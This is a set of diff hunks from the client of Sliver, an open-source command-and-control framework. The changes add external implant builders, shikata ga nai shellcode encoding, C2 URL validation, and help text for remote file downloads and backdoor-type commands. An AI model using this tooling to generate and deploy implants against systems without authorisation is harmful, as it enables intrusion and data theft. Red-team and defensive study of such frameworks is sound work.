if save != "" || format == "raw" {
|
||||
saveTo, _ := filepath.Abs(save)
|
||||
fi, err := os.Stat(saveTo)
|
||||
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
|
||||
@@ -22,14 +22,12 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
@@ -37,8 +35,11 @@ import (
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -82,6 +83,9 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
ErrNoValidBuilders = errors.New("no valid external builders for target")
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else if err == ErrNoValidBuilders {
|
||||
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
|
||||
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
@@ -157,22 +178,20 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
return "Shared Library"
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
return "Shellcode"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
panic(fmt.Sprintf("Unknown format %v", value))
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
if ctx.Flags["name"] != nil {
|
||||
if ctx.Flags.String("name") != "" {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
|
||||
return nil
|
||||
}
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -252,12 +271,15 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
limitUsername := ctx.Flags.String("limit-username")
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
limitLocale := ctx.Flags.String("limit-locale")
|
||||
debugFile := ctx.Flags.String("debug-file")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
switch format {
|
||||
case "exe":
|
||||
@@ -265,6 +287,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
case "shared":
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad = ctx.Flags.Bool("run-at-load")
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -282,6 +305,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
@@ -303,6 +330,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
|
||||
}
|
||||
|
||||
// TODO: Use generics or something to check in a slice
|
||||
connectionStrategy := ctx.Flags.String("strategy")
|
||||
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
|
||||
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
|
||||
return nil
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
@@ -312,11 +346,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
TemplateName: ctx.Flags.String("template"),
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
|
||||
|
||||
ConnectionStrategy: connectionStrategy,
|
||||
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
|
||||
PollTimeout: int64(pollTimeout) * int64(time.Second),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
@@ -326,11 +362,16 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
LimitUsername: limitUsername,
|
||||
LimitDatetime: limitDatetime,
|
||||
LimitFileExists: limitFileExists,
|
||||
LimitLocale: limitLocale,
|
||||
|
||||
Format: configFormat,
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
|
||||
DebugFile: debugFile,
|
||||
}
|
||||
|
||||
return config
|
||||
@@ -394,6 +435,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "mtls" {
|
||||
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
@@ -415,17 +459,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
if strings.HasPrefix(arg, "wg://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "wg" {
|
||||
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
@@ -444,10 +491,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -458,6 +504,10 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
uri.Path = strings.TrimSuffix(uri.Path, "/")
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -487,6 +537,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "dns" {
|
||||
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -503,6 +556,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
arg = strings.ReplaceAll(arg, "\\", "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
@@ -516,6 +572,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "namedpipe" {
|
||||
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(uri.Path, "/pipe/") {
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
|
||||
}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
|
||||
}
|
||||
}
|
||||
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -548,6 +619,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "tcppivot" {
|
||||
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
@@ -559,7 +633,131 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var externalBuilder *clientpb.Builder
|
||||
if len(potentialBuilders) == 1 {
|
||||
externalBuilder = potentialBuilders[0]
|
||||
} else {
|
||||
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
|
||||
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
|
||||
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
}
|
||||
start := time.Now()
|
||||
|
||||
listenerID, listener := con.CreateEventListener()
|
||||
|
||||
waiting := true
|
||||
spinner := spin.New()
|
||||
|
||||
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
|
||||
signal.Notify(sigint, os.Interrupt)
|
||||
|
||||
con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
elapsed := time.Since(start)
|
||||
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
|
||||
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
|
||||
|
||||
case event := <-listener:
|
||||
switch event.EventType {
|
||||
|
||||
case consts.ExternalBuildFailedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
case consts.ExternalBuildCompletedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case <-sigint:
|
||||
waiting = false
|
||||
con.Printf("\n")
|
||||
return nil, fmt.Errorf("user interrupt")
|
||||
}
|
||||
}
|
||||
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
|
||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: name,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -586,20 +784,41 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
if len(generated.File.Data) == 0 {
|
||||
con.PrintErrorf("Build failed, no file data\n")
|
||||
return nil, errors.New("no file data")
|
||||
}
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
if disableSGN {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
err = os.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -625,6 +844,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
|
||||
if config.LimitFileExists != "" {
|
||||
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
|
||||
}
|
||||
if config.LimitLocale != "" {
|
||||
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
|
||||
}
|
||||
return strings.Join(limits, "; ")
|
||||
}
|
||||
|
||||
@@ -686,3 +908,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
|
||||
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(builders.Builders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoExternalBuilder
|
||||
}
|
||||
|
||||
validBuilders := []*clientpb.Builder{}
|
||||
for _, builder := range builders.Builders {
|
||||
for _, target := range builder.Targets {
|
||||
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
|
||||
validBuilders = append(validBuilders, builder)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(validBuilders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoValidBuilders
|
||||
}
|
||||
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
}
|
||||
choice := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an external builder:",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &choice, nil)
|
||||
for _, builder := range builders {
|
||||
if builder.Name == choice {
|
||||
return builder, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoValidBuilders
|
||||
}
|
||||
@@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
return data, err
|
||||
}
|
||||
|
||||
implantName := buildImplantName(profile.GetConfig().GetName())
|
||||
implantName := buildImplantName(profile.GetConfig().GetFileName())
|
||||
_, ok := builds.GetConfigs()[implantName]
|
||||
if implantName == "" || !ok {
|
||||
// no built implant found for profile, generate a new one
|
||||
@@ -35,17 +35,18 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
profile.Config.Name = buildImplantName(generated.GetFile().GetName())
|
||||
profile.Config.FileName = generated.File.Name
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
}
|
||||
con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, buildImplantName(profile.GetConfig().GetFileName()))
|
||||
} else {
|
||||
// Found a build, reuse that one
|
||||
con.PrintInfof("Sliver name for profile: %s\n", implantName)
|
||||
con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, implantName)
|
||||
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: profile.GetConfig().GetName(),
|
||||
ImplantName: implantName,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"Template",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
if config.TemplateName == "" {
|
||||
config.TemplateName = "sliver"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
config.TemplateName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
|
||||
@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
implantFile, err := compile(profile.Config, save, con)
|
||||
implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to %s\n", err)
|
||||
return
|
||||
|
||||
@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
con.Println()
|
||||
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
|
||||
con.Println()
|
||||
}
|
||||
|
||||
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadMacrosHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -103,6 +103,11 @@ var (
|
||||
consts.ReactionStr: reactionHelp,
|
||||
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
|
||||
// Builders
|
||||
consts.BuildersStr: buildersHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -204,10 +209,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
|
||||
|
||||
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
|
||||
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
|
||||
`
|
||||
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
|
||||
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
@@ -279,7 +284,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
|
||||
|
||||
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
|
||||
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
|
||||
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
|
||||
|
||||
Downloads can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
|
||||
